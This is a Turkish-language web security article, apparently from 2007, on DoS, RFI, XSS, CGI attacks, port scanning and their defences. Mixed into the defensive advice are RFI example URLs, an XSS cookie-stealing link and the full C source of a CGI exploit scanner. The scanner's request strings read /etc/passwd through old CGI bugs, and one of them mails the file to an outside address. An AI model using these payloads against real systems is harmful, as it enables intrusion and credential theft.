Root > Documents > Security > Internet Güvenliği
Cyber-Warrior.Org \ Doküman \ Security > Internet Güvenliği
Madde
  Yazar : x-Master
  Date : 30.01.2007 13:32:21
 
# Internet Güvenliği
 

Internet Güvenligi

Çagimizin olmazsa olmazi arasina giren Internet, beraberinde bir çok tehlikeyi de getirmektedir. Bu tehlikeleri, Kredi Karti bilgilerinin çalinmasi, Web Uygulamalarina ebedi olarak el konulmasi, e-Mail hesaplarinin ele geçirilmesi, kisisel bilgilerin yayinlanmasi ...vs seklinde siralamak mümkün.

Peki bu tehlike unsurlarina karsi etkili çözümler nelerdir? Nasil korunulur?

Öncelikli olarak kisisel bilgisayar güvenligi önemli. Kullanici kendi güvenligini tam manasiyla sagladiktan sonra, gerisi sistem güvenirligine kalmis bir olay. Sistem güvenirligi de gerekli yamalar, güvenlik önlemleri.. ile daha iyi bir duruma getirilebilir, her türlü saldiriya karsi donanimli hale getirilebilir.

PC (Personal Computer) güvenliginde en önemli madde bilinçli olmaktir. Kullanici bilinçli ise, sistem’in %90 ’i güvendedir demektir. Söyle ki, sistem hatalari, güvenlik zafiyetleri belki fixlenebilir, lakin kullanici dikkatsizligi ve bilinçsizligi Sosyal Mühendislik sanatini iyi kullanan saldirganlara davetiye çikarmakta, sistem ne kadar güvenli olsa bile, maalesef bu güvenlik devre disi kalmaktadir. O yüzden ilk madde bilinçli olmaktir.

Internet ortaminda, bilgisayarlar arasi baglantida sürekli bir dosya paylasimi vardir. Bu dosya paylasimi sirasinda, art niyetli kullanicilar tarafindan, virüs, trojan, worm, spy .. yollanabilmekte veya farkli amaçlar için kullanici bilgisayarlari hacklenebilmektedir. Bunlara bilinçli ve dikkatli olmadan sonra gelebilecek en iyi çözüm iyi bir Firewall kullanmaktir. Sizin dikkatsizliginiz aninda, devreye Firewall güvenlik kalkanlari girecektir. Bu sayede bilgisayarinizdaki veri alis-verisini görebilir, veri kontrolünü saglayabilirsiniz..

Yukarida saydiklarimiza ek olarak Domain Güvenligi kisminda anlatacagimiz e-Mail Account güvenligi basligi altinda yer alacak olan maddeler de vardir.

Kendi güvenligini saglayan bir kullanici, internet ortaminda olusturdugu Web Uygulamalarini nasil korumalidir? Neler yapabilir?

Öncelikli olarak Web sitesi güvenliginde (Host Güvenligi için), sisteminize karsi yapilabilecek saldirilari iyi bilmeniz gerekir. Bir saldirinin boyutunu, verebilecegi zarari ve mantigini anlamadan, bu saldiriya karsi çözüm üretemezsiniz...

Sisteme yapilabilecek en basit (görünen) saldirilardan biri olarak Denial Of Service (DOS) ve DDOS saldirilarini örnek verelim.

Denial Of Service (DOS) saldirilari diye nitelendirilen saldiri türü, sistem isleyisini engelleme, belirli verilere erisimi saglama yerine yetkili kullanicilarin uygulamalara erisimini engelleyerek bilgi sistemleri kaynaklarini kilitler. Bu Attack türü ile sistemin sundugu hizmet veya hizmetleri tamamiyle engelleyebilir ve devre disi birakabilir. Dos Attack isleyis olarak, Attacker’in çok büyük oranda karisik ve karsilanamaz verileri hedef sistem aglarina veya bilgisayarlarina dogrudan göndermesini baz alir. Dos Attack yöntemini tehlikeli kilan yön ise çok eski tip makineler ve modemler ile çok karmasik ve sofistike sistemleri devre disi birakmaktir.

DOS attacklar sadece e-ticaret ve web servislerine yapilmamaktadir. Bu saldirilardan routerlar, sanal özel aglar(VPN) ve IRC sunucularida etkilenmektedirler. Bir servis saglayicinin router’ina yapilacak bir saldiri sonucu network trafigi altüst olabilir ve sonucunda da müsterilerinin baglantilari kopabilir. Daha önce en büyük IRC aglarindan Undernet’in bazi önemli sunuculari DDoS yöntemiyle çökertilmisti. Saldirida servis saglayicilar saniyede yüzlerce MB veri bombardimanina tutulmustu..

Distributed Denial Of Service adini alan hizmet aksatmaya yönelik saldiri türünün DOS Attack’tan farki, birden fazla noktadan tek bir merkeze yapilan sistem engelleme eylemidir. Söyle ki; DOS saldirilari tek bir kaynaktan olup, herhangi hedef bir sisteme dogrudur. Ancak DDOS saldirilarinda birden fazla makina tek bir hedefe focus olur. Bahsettigimiz makina sayisi yüzlerce hatta binlerce olabilir. DDOS saldirilarinin tehlikeli olmasinin nedeni de bundan kaynaklanir.

Peki dev sirketlerin bile sistemlerini aciz birakan bu saldiri türüne karsi alabilecegimiz önlemler nelerdir?

Yeterli Bant Genisligi saglayabilirsiniz. Saldirilar bant genisligine göre zarar verirler. Bant genisligi yeterli düzeyde olursa etkilenme azalacaktir.

Sisteminizi sürekli güncelleyin. Çünkü bu tür saldirilarda saldiri sirasinda bir engelleme söz konusu olmayabilir. O yüzden saldiri öncesi hazirlik yapmaniz gerekiyor.

Iyi denebilecek düzeyde bir Firewall veya IDS (Saldiri Tespit Sistemi) kullanin. Bu sayede aginizi gözetleyebilirsiniz (Çok sayida SYN_RECV görmeniz sisteminizin DOS saldirisina maruz kaldigini gösterecektir.)

Saldiriya maruz kalan sistem ise, gelen baglantilari reddetmelidir. Ancak zombie kullanilmis ise bu ise yaramayacaktir. Sistemi kapatmaniz da Attacker’in menfaatine olacaktir. Çünkü saldirgan zaten bunu hedeflemektedir. Bu yüzden en önemli güvenlik, saldiri öncesi hazirliktir.

Bir baska etkili saldiri ise Remote File Include. Bu saldirinin da en büyük etkisi ise, sunucu üzerindeki tüm sitelerin saldiri sonucu sömürülebilmesidir. Bu da saldirinin ne derece tehlikeli oldugunu göstermektedir.

Remote File Inclusion (RFI), PHP ile kodlanmis sistemlerde, tecrübesiz webmaster’lar tarafindan yapilan kodlama hatalarindan faydalanilarak sisteme sizma yöntemidir. Bu saldirinin verebilecegi büyük zarar ise, RFI açigi olan site üzerinden, ayni serverda bulunan tüm sitelere sizilabilmesi. Bu yüzden bu güvenlik açigi, saldirganlar tarafindan tercih edilen yöntemler arasina girmistir.

Saldirganlar, RFI açigina rastladiklari sitede, açigi kullanarak web sayfa sunucusunun saglamis oldugu diger siteleri de sömürmek için ve server’daki diger sitelere erisimi saglayabilmek için Listpatch dedigimiz kod dizilimini kullanmaktadirlar. Listpatch’lerin upload edildigi URL’lerin, PHP ‘yi desteklemesi ve Listpacth içerisinde bulunan kodlari compile etmemesi gerekiyor. Listpatch PHP destekli bir hosta (Örn:http://hometown.aol.com) yüklendikten sonra, Attacker için tüm sartlar hazirlanmis demektir. Örnek bir RFI açigi barindiran site;

http://www.example.com/path_to_qnews/q-news.php?id=Attacker List Patch]

http://www.example.com/path_to_phpgreetz/content.php?content= [Attacker List Patch]

http://www.example.com/PATH/admin/plog-adminfunctions.php?configbasedir=Attacker ListPatch]

 

Saldiriya karsi alinabilecek önlemler nelerdir? Nasil Korunulabilir?

Bu saldiri temel olarak sistemde yapilan kodlama hatalarindan kaynaklanmaktadir. O yüzden kodlama sürecinde yapilan hata olasiligi göz önüne alinarak, uygulama paylasima konulmadan önce yeniden check edilmelidir. Sizin sisteminizde bu açik yoksa bile, eger sunucuda bu açigi barindiran herhangi bir site var ise, sunucu üzerinden sizin sitenize de ulasilabilir, sizin host’unuz da hacklenme ile karsi karsiya gelebilir. O yüzden seçtiginiz sunucularin da yeteri kadar güvende oldugundan emin olmalisiniz.

Geçelim bir baska yönteme.. Son zamanlarda çok sik kullanilan ve genellikle Hotmail servisinde karsilasilan Cross Site Scripting (XSS) Saldirilarinin kullanilarak hack yapilmasi hatta bu yöntem ile Domain Reg. Mail (daha sonra deginecegiz) ‘in hacklenerek, Domain Hi-Jacking edilmesi, saldiriyi tehlikeli yapmaya yeterlidir.

XSS Saldirilari temel olarak Cookie’leri baz almaktadir. Cookie’ler, kendinize kisisellestirmis oldugunuz bir web-sayfasiniz varsa veya bir ürün ya da servis için kayit olmussaniz, sizi baglandiginiz sisteme hatirlatarak zamandan tasarruf yapmanizi saglar. Siteye yeniden girdiginizde sistem daha önceden verdiginiz cevaplari hatirlar. Bilgileri degistirdiginiz zaman da, sistem sizi cookie ler sayesinde yeni halinizle hatirlar.

Browser’a yazilan bir siteye baglandiginizda, baglanacaginiz sayfanin sunucusu, bilgisayarinizda kendi yazmis oldugu cookie’lerin olup olmadigina bakar. Eger varsa, cookie’ler araciligi ile size sabit bir ID atanir. Eger sisteminizde, sunucuya ait cookie yoksa size ayri bir SessionID atanir. Kaydettigi bu dosya hem sisteme, hem sizin bilgisayariniza islenir. Cookie’lerin formati asagida verdigimiz gibidir;

 

Domain : False : / : False : Bitis Tarihi : Name : Value

 

Sirasiyla tanimlari;

 

Domain: Cookie’yi sisteminize kaydeden Web sayfasinin adini içerir.

False: Domainde bulunan tüm makinelerin degiskene erisim hakkinin olup olmadigini

belirleyen bir bayraktir.

/ : URL’nin adresini gösterir.

False: SSL baglantilari için kullanilir.

Bitis Tarihi: Genellikle saniye cinsinde olup, çerezin bilgisayarinizdaki süresini belirler.

Name: Degiskenin adi

Value: Degiskenin degeri

 

Sistemlerin kodlanma sürecinde yapilan hatalar, sistemde bir takim zafiyetlere ve güvenlik açiklarina sebebiyet vermektedir. Attacker’lar bu sistem zafiyetlerinden faydalanarak sisteminizde kayitli olan cookie’leri kullanabilir, daha önceden girdiginiz sitelere sizin adiniza baglanabilir ve eger site yöneticisiyseniz siteyi ele geçirebilir, istedigini yapabilir.

Iste bahsettigimiz Cross Site Scripting saldirilarinda, kodlanma sürecinde yapilan hatalardan faydalanilarak Cookie’ler çalinmaktadir. Kisaca Request ile kullanicidan alinan verilerin sayfa içerisinde yazdirilmasi ile olusan Cross Site Scripting yani XSS açigidir. Örnegin; QueryString ile alinan sayfa numaralari yada ilgili kaydi gösteren id degiskenleri;

http://www.hedefsite/Default.Asp?Page=1

yada

http://www.hedefsite/Product.Asp?id=1

http://www.hedefsite/Default.Asp?Kategori=Haber gibi.

Attacker’lar, arama ve haber modüllerinde, profil panellerinde..vs bulunan bu sistem hatasi sayesinde, modüllere ufak scriptler ekleyerek siteyi yönlendirebilir veya hata vermesine neden olabilir.

Ayrica Attacker, HTML tabanli bir e-posta içine veya hazirladigi web sayfasina özel bir URL gömerek hedef sistem yöneticisine yollayip, bu URL’yi kendi bilgisayarinda açmasini, dolayisiyla hedef, farkinda olmadan SessionID’sini hedefin URL’de tanimadigi adrese gönderecektir. Örnegin; cyber-security.org’a üye oldugunuzu varsayalim. Bu siteye kullanici adinizla giris yaptiginizda yeni bir session olusturmus oldunuz. Ve tam bu esnada size gelen bir e-posta’da ;

<a href = http://www.cyber-warrior.com?loginname=x-Master=<SCRIPT> Document.write(\\\\\\\\\\\\\\\\\\’img src= "http://www.x-master">

yukaridaki gibi bir link gördünüz ve farkinda olmadan buna tikladiniz. Dolayisiyla siz bu linke tiklamakla farkinda olmadan sessionID’nizi, x.master.biz’e göndermis oluyorsunuz.

Cross Site Scripting saldirilarina karsi alinabilecek önlemler nelerdir peki?

Request ile alinan degerleri her zaman QueryString’de olsa Replace ile Asagidaki sekilde Temizleyin ve Request verilerini alirken mutlaka tam sayiya çevirin…

Recid = CInt(Trim(Server.HTMLEncode("Recid")))

Recid = Replace(Recid, "<" , "&lt;") ’küçüktür

Recid = Replace(Recid, ">" , "&gt;") ’büyüktür

Recid = Replace(Recide, "’" , "&#146;") ’tek tirnak

Recid = Replace(Recid, Chr(10) , "") ’Satir Basi

Recid = Replace(Recid, Chr(34) , "") ’çift tirnak

* ASP.NET ’de

Web.config Dosyasinda asagidaki degisikleri yaptiginizda " ’ " gibi karakterleri sistem

kendisi kontrol eder. Bu Sayede hemen hemen hiçbir XSS ve SQL Enjeksiyon teknikleri

etkili olmaz

<System.Web>

<Pages validateRequest="True"></Pages>

</System.Web>

 

IPS Kullaniyor iseniz, Yeni imza olusturup;

Application Layer / HTTP / HTTP.URL_DECODED Protokolüne;

’ Tek Tirnak,

" Çift Tirnak

< Küçük

> Büyük

Karakterlerini ekleyerek XSS ve SQL Enjeksiyon Saldirilarini Direkt Engelleyebilirsiniz...

Kullanmis oldugunuz Script’lere karsi da Attacker’lar saldiri yapmaktan çekinmeyeceklerdir. O yüzden script güvenligi de büyük önem tasimaktadir. Örnek olarak CGI Script’ler’e deginecek olursak, basli basina CGI Saldirilari adli konuyu ele alabiliriz.

CGI (Common Gateway Interface), Web Servisleri ile bu servislerin disindaki programlar arasinda etkilesim (ortak çalisma) platformu olusturmak için gelistirilmis bir standarttir. CGI, aslinda bir programdir. Web’in statik yapisina, HTML kodu içinden çagrilan CGI programlari dinamik bir nitelik kazandirmaktadir. En popüler CGI uygulamalarindan birisi Web Sayaçlaridir. Web sayfalarini kaç kisinin ziyaret ettigini saptayan küçük uygulamalar dis program olarak, bir web sayfasi içinden çagrilabilir. CGI programlari gerçek zamanli çalisirlar. CGI’lerin önemli uygulama alanlarindan birbaskasi da, web üzerinde doldurup gönderilen formlar üzerindeki bilgileri server tarafinda degerlendirip kullaniciya cevabi göndermektir.

CGI programlari "çalistirilabilir" kodlar oldugundan, bir baskasi, kolaylikla sizin sisteminizde program çalistirabilir. Bu yüzden, CGI kodlari sistemde özel yerlerde tutulur ve o sistemin görevlilerinin denetimi altindadir.

CGI programlari herhangi bir dilde yazilabilir : C, Fortran, Pascal, C++, Perl, Unix Shell, Visual Basic vb. CGI eger C ya da Fortran gibi bir dilde yazilirsa, derlenmelidir. Perl ya da Unix Shell gibi ortamlar ise script ortamlardir ve bu sekilde yazilmis CGI Script’ler dogrudan çalistirilabilir.

Özellikle Java ve JavaScript kullanimlarinin yayginlasmasi, CGI’nin ilk zamanlardaki popüleritesini azaltmistir. Öte yandan, CGI programlari/scriptleri, bulunduklari sistemde saklidirlar ve çalistiklarinda o sistemin kaynaklarini kullanirlar. Oysa Java Appletleri ve JavaScript, dogrudan HTML döküman içinde onu çagiran web listeleyicisine gelirler ve burada icra edilebilirler. Bu da, Java Applet ve JavaScript’in CGI’ye göre önemli bir avantajidir.

C.G.I Scriptler Web sayfalarinin, serverdaki executable (açilabilir) durumda olan dosyalari kullanabilmesini saglayan basit araçlardir. Uzun zamandan beri Web sitelerinde bazi isleri yürütmek için kullanilan CGI Scriptlerin güvenirligi ise tartisilir durumda. Çünkü basit çaptaki CGI Scriptler güvenlik protokolleri gözden geçirilmeden hazirlanmistir ve sitenizde kullanmaniz güvenliginizi tehlikeye düsürebilir. Söyle ki; CGI açiklarindan faydalanarak hedef siteler hack’lenebilir, hatta daha sonra sistemi re-hack etmek için backdoor dedigimiz arka kapilar bile birakilabilir.

Bu saldiriya karsi alinabilecek önlemler ise ;

Attacker Scriptlerde bulunan açiklari gerek manuel yollarla gerekse de CGI Scanner’lari kullanarak ögrenebilir. Seçilecek olan Scanner’in veritabaninda tüm açiklari barindirmasi ve sürekli güncellenme özelligine sahip olmasi gerekir. Çünkü bir Scanner veritabaninda ne kadar çok sistem hatasindan kaynaklanan açiklari barindirirsa Attacker’in sisteme sizma sansi o kadar artacaktir.

Program disi manuel olarak CGI Açiklari aramanin kolay bir yöntemi olarak da Google gibi gelismis craw’lerlara sahip olan sistemlerde " cgi-bin/password.txt, cgi-bin/ornek.pwd " gibi key-word’leri aratmaktir.

Ek olarak birçok CGI-Scanner’i http://packetstormsecurity.org/UNIX/cgi-scanners/ adresinden indirebilirsiniz.

Ayrica sisteminizde CGI açigi olup olmadigini anlayabilmek için Cgiscan.c exploitini kullanabilirsiniz. Exploitin kaynak kodlarini veriyoruz.

 

***********************************************************************

#include <sys/stat.h>

#include <sys/types.h>

#include <termios.h>

#include <stdio.h>

#include <string.h>

#include <fcntl.h>

#include <sys/syslog.h>

#include <sys/param.h>

#include <sys/times.h>

#include <sys/time.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <sys/signal.h>

#include <arpa/inet.h>

#include <netdb.h>

#define MAXSTR 12

main (int argc, char *argv[])

{

struct sockaddr_in sin;

/* int outsocket, serv_len, len,c,outfd; */

/* struct hostent *nametocheck; */

/* struct in_addr outgoing; */

struct hostent *hp;

char host[100], buffer[1024], hosta[1024],FileBuf[8097];

int sock, i=0, X;

char *stringhe[MAXSTR];

for(i=0;i<MAXSTR;i++) {

stringhe[i]=(char *) malloc(sizeof(char)*100);

}

/* Classic PHF bug... It still Works! */

stringhe[0]="GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd\\\\\\\\\\\\\\\\\\n";

/* test-cgi bug, possible to view documents location */

stringhe[1]="GET /cgi-bin/test-cgi?*\\\\\\\\\\\\\\\\\\n";

/* htmlscript bug, a good language that can us have passwd ;) */

stringhe[2]="GET /cgi-bin/htmlscript?../../../../etc/passwd\\\\\\\\\\\\\\\\\\n";

/* view-source bug, some httd use this... */

stringhe[3]="GET /cgi-bin/view-source?../../../../etc/passwd\\\\\\\\\\\\\\\\\\n";

/* Wrap allow you to have a directory listing on IRIX 6.2 systems */

stringhe[4]="GET /cgi-bin/wrap?/../../../../../etc\\\\\\\\\\\\\\\\\\n";

/* Campas allow you to get the passwd on NCSA server 1.2 */

stringhe[5]="GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a\\\\\\\\\\\\\\\\\\n";

/* With pfdisplay & webdist is possible to get the passwd on IRIX 6.2 systems */

stringhe[6]="GET /cgi-bin/pfdisplay.cgi?/../../../../etc/passwd\\\\\\\\\\\\\\\\\\n";

stringhe[7]="GET /cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd\\\\\\\\\\\\\\\\\\n";

/* With aglimpse is possible to mail the password file anywhere :) */

stringhe[8]="GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5dashie\\\\\\\\\\\\\\\\\\@cyberdude.com\\\\\\\\\\\\\\\\\\</etc/passwd;eval$CMD;echo\\\\\\\\\\\\\\\\\\n";

/* An interesting variant for phf*/

stringhe[9]="GET /cgi-bin/phf?Qalias=x%0a/usr/bin/ypcat%20passwd\\\\\\\\\\\\\\\\\\n";

stringhe[10]="GET /cgi-bin/php.cgi?/etc/passwd\\\\\\\\\\\\\\\\\\n";

/* a new test-cgi but the bug is the same :) */

stringhe[11]="GET /cgi-bin/nph-test-cgi?*\\\\\\\\\\\\\\\\\\n";

while(fgets(hosta,100,stdin))

{

if(hosta[0] == ’\\\\\\\\\\\\\\\\\\0’)

break;

hosta[strlen(hosta) -1] = ’\\\\\\\\\\\\\\\\\\0’;

write(1,hosta,strlen(hosta)*sizeof(char));

write(1,"\\\\\\\\\\\\\\\\\\n",sizeof(char));

hp = gethostbyname (hosta);

for(i=0;i<MAXSTR;i++) {

bzero((char*) &sin, sizeof(sin));

bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);

sin.sin_family = hp->h_addrtype;

sin.sin_port = htons(80);

sock = socket(AF_INET, SOCK_STREAM, 0);

X=connect(sock,(struct sockaddr *) &sin, sizeof(sin));

write(sock,stringhe[i],strlen(stringhe[i])*sizeof(char));

while((X=read(sock,FileBuf,8096))!=0)

write(1,FileBuf,X);

}

}

printf("\\\\\\\\\\\\\\\\\\nScacco&Dark Schneider - S0ft Pr0ject 98");

}

***********************************************************************


Web uygulamalarinin güvenliginde en önemli nokta
sunucu güvenligidir. Unutmayiniz ki, sunucu güvenli olmadigi takdirde sizin siteniz ve uygulamaniz ne kadar güvenli olursa olsun, sitenin hack’lenmesine engel olamayacaktir. Örnek olarak;

Sisteminizi hedefleyen bir saldirganin, sitenizde açik bulamadigini varsayalim. Saldirgan bu asamadan sonra sunucuyu incelemeye çalisacaktir. Sunucu üzerinde buldugu her açiktan/hatadan faydalanacaktir. Örnek olarak sunucunun port durumunu kontrol edecektir.

Bir sistemin taranmasi, temel olarak hedef konumunda bulunan agda bulunan bilesenleri ve bu bilesenlere yetkisiz olarak erisim hakkina sahip olmak için yapilmaktadir. Tarama,aktif sistemlerin belirlenmesi, isletim sistemlerinin saptanmasi ve bu bilesenlerin hedef agdaki lokasyonunun belirlenmesi gibi basamaklardan olusur.

Ilerleyen teknolojinin ürünü olarak birçok isletim sisteminde birden fazla program ayni anda çalismakta ve çalisan bu programlardan bazilari da disardan gelen request (istek)’lere açik olmaktadirlar. Uygun görülen request’lere response (cevap) vermektedir.

Sunucu programlari çalisan bilgisayarlara verilen IP adresleri ile istenilen bilgisayarlara ulasilir. Ulasilan bilgisayarlar üzerindeki hangi sunucu programdan hizmet almak istendigini belirlemek ise port’lar araciligiyla saglanir. Bu islemi saglayabilmek için bilgisayarlar üzerinde sanal baglanti noktalari olusturulur ve her baglanti noktasini adresleyebilmek için Port numarasi dedigimiz pozitif rakamlar verilir. Port numaralari 2 byte olarak tutulur. 1024’ten küçük olan port numaralari Root dedigimiz özel yetkilere sahip kullanicilar tarafindan kullanilir. Büyük olanlar ise normal kullanicilar tarafindan kullanilmaktadir.

Port kavramini ögrendikten sonra Attacker’larin, Port’lardan faydalanma eylemine deginelim.

Attacker sistem hakkinda yeteri kadar veri topladiktan sonra yapacagi ise hedef sistemin TCP veya UDP Portlarina baglanarak hangi port’un açik oldugunu belirlemek veya hangi port’un dinleme durumunda oldugunu saptamaktir. Yani Port Taramasi yapmaktir.

Ilk önce de dedigimiz gibi, saldiri bilmeden saldiriya karsi çözüm üretilemez. Port Tarama Nasil Yapilir?

TCP Connect Scan

Transmission Control Protokol (TCP), bilgisayarlar ile veri iletme ve alma birimleri arasindaki iletisimi saglayan, bu yolla veri transferini mümkün kilan yapidir.

TCP’nin Isleyisi: TCP Oturumu öncelikli olarak bir sunucudan servis ister, diger istemci ise response olarak (eger baglanti istegi kabul edilirse) SYN Flag (SYN Bayragi) ’i kalkik paketini sunucu bilgisayara iletir. Paketi alan sunucu ise, gönderene response olarak SYN Paketini aldigini ve baglanti request’ini onayladigini göstermek için SYN Bayragi kaldirilmis (set) paketi yani SYN-ACK Paketini istemci bilgisayara gönderir. Son asamada ise sunucu makinenin gönderdigi SYN-ACK paketini alan istemci bilgisayar sunucuya ACK paketini göndererek yollanan paketi aldigini bildirir.

Bahsi geçen tarama yöntemi yani TCP Connect Scan islemi ise anlattigimiz oturum açma islemini gerçeklestirir ve oturum açildigi zaman baglantiyi keserek bize portun durumunu, açik veya kapali oldugunu gösterir.

Yalniz Attacker bu yöntemi zor durumda kalmadigi zaman yapmaz. Çünkü oturum açma istegi gönderildikten ve bu islem gerçeklestikten sonra istegi gönderen cihazin IP Adresi kaydedilir. Ama zorunlu durumlarda ve hedef sistemin portunun kesin bir sekilde açik veya kapali olarak ögrenilmek istenmesi durumunda bu yol garantidir.

TCP SYN SCAN

TCP Connect Scan isleminde, bu yolun riskli oldugunu çünkü IP Paketlerinin loglandigini söylemistik. Loglama islemi, istemci bilgisayarin Oturum açtigi anda olur. Oturum açilirsa log tutulur.

TCP SYN Scan yari-açik tarama olarak da bilinir. Bu tabirin bahsi geçen tarama yöntemine uygun görülmesinin nedeni ise, TCP Connect Scan’deki gibi tam olarak oturum açmamasindan dolayidir. TCP SYN Scan SYN bayrakli paketi gönderir ve SYN/ACK bayrakli paketi alir. Oturum açmayi ise RST/ACK bayrakli bir paket göndererek reddeder.

Eger hedef port açik ise SYNC/ACK paketi gelir. Oturum açilmadigindan dolayi da loglanma ihtimali ortadan kalkar.

TCP FIN Scan

TCP Connect ve TCP Syn Scan islemlerinde oturum açma islevlerine degindik. TCP FIN Scan’de ise Oturum açilmadan hedef portlarin açik veya kapali olma durumlari ögrenilir.

TCP FIN Scan’de hedef portlara FIN Paketleri gönderilir. *RFC793 ‘ e göre kapali durumda olan bir port, baglanti durumu söz konusu olmadan aldigi FIN paketine, RST Paketiyle cevap verir. Yani hedef porta gönderdigimiz FIN Paketlerine eger cevap gelirse port kapalidir, eger cevap gelirse port açiktir.

SYN/FIN Scannig Using IP Fragments

Bu tarama yöntemi SYN ve FIN Tarama yöntemlerinin daha gelismis bir türüdürdiyebiliriz. Bu tarama yönteminde herhangi bir paket gönderilmez. Hedef porta paketleri daha küçük IP Fragmenti olarak gönderilir. Bu islem Attacker’in yaptigi isin anlasilmasina engel olmak içindir.

TCP Xmas Tree Scan

Bu tarama yöntemi TCP SYN taramasina benzer. Hedef porta FIN (No More Data From Sender), URG (Urgent Pointer Field Significant) ve PUSH (Push Function) bayrakli paketler gönderir ve kapali olan portalardan RST cevabi beklenir. Eger cevap gelmezse hedef portlar açiktir. (RFC793’e göre / http://www.ietf.org/rfc/rfc0793.txt)

TCP Null Scan

Daha önceki tarama yöntemlerinde paketler veya IP Fragment göndererek port’larin açik ve kapalilik durumlarini ögrenmistik. Bu tarama yönteminde ise TCP Xmas Tree’nin tam tersine bayrak tasimayan bir paket gönderilir. Daha öncede belirttigimiz gibi RFC793’e göre kapali durumlardaki portlardan RST cevabi gelir. Eger cevap gelmezse hedef port açiktir.

TCP ACK Scan

Bu tarama yönteminde Attacker, eger hedef Firewall kullaniyorsa kullandigi Firewall’u bypass etme ve hedef portlarin açik ve kapalilik durumlarini ögrenebilir.

TCP ACK Scan’in genel mantigi statik veya dinamik paket filtrelemede firewall’larin baglantiyi ilk baslatan tarafi hatirlayamamasidir. Bazi firewall’lar onaylanmis olan baglantilara izin verir ve ACK (Acknowledgment Field Significant) paketinin Firewall’lardan veya Router’lardan engellenmeden geçmesi mümkün kilinabilir, hedef portlar firewall’a ragmen taranabilir.

TCP FTP Proxy (Bounce Attack) Scan

Bu tarama yöntemi FTP Proxy’lerin Bounce adini verdigimiz özelliginden faydalanir. RFC959 tanimina göre, FTP Protokolünün Proxy FTP baglantisina izin verir. Bu baglanti sayesinde server-PI (Protocol Interpreter)’e agdaki herhangi bir yere dosya yollayabilecek server-DTP (Data Transfer Process) istegi aktif edilebilir. Bu açik özellikle firewall arkasinda bagli bulunan bir FTP’ye baglandigimiz zaman sunucuya kendi port’larini taratmasi saglandigi için çok tehlikeli bir tarama türüdür. Çünkü Firewall bypass edilmis olur.

TCP Windows Scan

TCP ACK taramasina benzer. Bu tarama türü TCP Windows Size’dan kaynaklanan hatalari baz alarak bazi isletim sistemlerinde portlarin açik ve kapalilik durumunu ya da filtreli olma durumlarini kontrol eder.

TCP RPC Scan

Bu tarama yöntemi ile Remote Procedure Call (RPC-Uzak Islem Çagrilari) port’larindan aktif halde çalisan islemleri ve sürümleri ögrenebiliriz. Eger sistemde çalisan RPC’ler ile ilgili hata ve aksakliklar mevcut ise bunlar Attacker için sisteme girmek için bir yoldur. (Sadece Unix tabanli sistemlerde mevcuttur)

UDP Scan

Daha önceki tarama yöntemleri (RPC Scan Hariç) TCP tabanli idi. TCP tabanli taramalarda, sira numaralari, kod bitler dedigimiz yapilar vardi. Ancak UDP’de böyle bir sey mevcut degildir. UDP ’de paketler direk gönderilir ve kaybolan paketlerin yenisi gönderilmez.

Bu yöntem hedef sisteme UDP Paketlerini gönderme islemini baz alir. Eger gönderilen UDP Paketlerine response olarak "ICMP Port Unreachable" mesaji alinirsa port kapalidir demektir. Eger bu responsa alinmazsa port’un açik oldugu anlasilir. Bu islemleri yaparken acele etmemek gerekir. Çünkü bant genisligi probleminden dolayi gelmesi gereken mesaj paketi gecikebilir. Ve eger ivedi davranilirsa port’un açik oldugu o nedenle cevap gelmedigi düsünülebilir. Ama port açiktir ve bu hatadan dolayi Attacker amacina ulasamayabilir.

Ident Scan

Ident Protokolü RFC1413’te tanimlanmis bir protokoldür.Bu tarama hedef sistem üzerinde eger Identd aktif olarak bulunuyorsa, sistemde çalisir vaziyette olan servislerin listesine ve bu servisleri çalistiran kullanici isimlerine ulasmak için yapilir. Eger Identd aktif degilse bu tarama türü ise yaramayacaktir.

Tüm bunlara karsi sunucu güvenligi nasil saglanacak?

Port Tarama yönteminden korunma bir IDS Sistemi ile engellenebilir. Veya IPTables’da Burst/Burst-Rate gibi bir limitasyonla engellenir. Söyle ki; bir kaynak IP adresinden bir noktaya belirli bir "t" süresi dahilinde gelen SYN paketlerini sayan ve anormal sayida ayni adrese connection kurmaya çalisan ya da birden fazla porta "t SYN "paketi gönderen IP Adresleri otomatik olarak bloke edilir. Bu teknik engellemekteden daha ziyade artificial-intelligiance ile gerçeklestirilebilen bir savunma yöntemidir.

Port taramasindan korunmak için kullanilan bir baska yöntem ise Firewall dedigimiz Güvenlik Duvarlarinin kullanimidir. Piyasada bulunan Firewall’larin çogu Port taramalarini engelleyebilme özelligine sahiptir. Hatta Nmap’in yaptigi gizli port taramalarini bile yakalayabilme kabiliyetine mevcut Firewall’lar vardir. Tavsiye edebilecegimiz Firewall’lar; hem güvenlik duvari hem de saldiri tespit sistemi olan Zone Alarm

(http://www.zonelabs.com), IIS net firmasinin Windows tabanli saldiri tespit programi olarak yazdigi BlackICE (http://www.blackice.iss.net/index.php) ‘tir.

Yöntemler daha fazla siralanabilir, lakin en sik karsilasilan hack’lenme vakalari bu saldirilardan yana olmaktadir. Daha fazla detay için sitemde bulunan makalelerden faydalanabilirsiniz. (x-Master.biz > Makalelerim Modülü // x-Master – Cyber Warrior TIM)

Bunlar haricinde bir de Domain Güvenliginden bahsetmemiz gerekiyor.

Alan adi veya kisaca Domain, internette varolmak için basvurdugunuzda size verilen Internet Protokol adresinin bir görüntüsüdür. Diger bilgisayarlar ile connection kurabilmek için baglantiyi kuracak olan bilgisayarlarin IP adreslerinin tanimlanmis olmasi gerekir. Yani Internet ortamindaki bilgisayarlar ile iletisiminiz, size tayin edilen IP adresleri ile saglanir.

Bir kullanicinin, sirketinizin veya herhangi bir kurumun Web adresine girmek isteyen kullanicinin, sirkete tayin edilmis olan IP adresini browser’a yazmasi gerekir. IP adreslerinin zihinde tutulmasi güç oldugundan dolayi, her IP adresine farkli bir alan adi tayin edilir. Tayin edilen bu alan adlari domain adini alir. Bu sayede Browser’a girilecek olan web sayfasinin IP adresi yerine, alan adi yazilarak girilir. Iste bu alan adlari da domain adini alir.

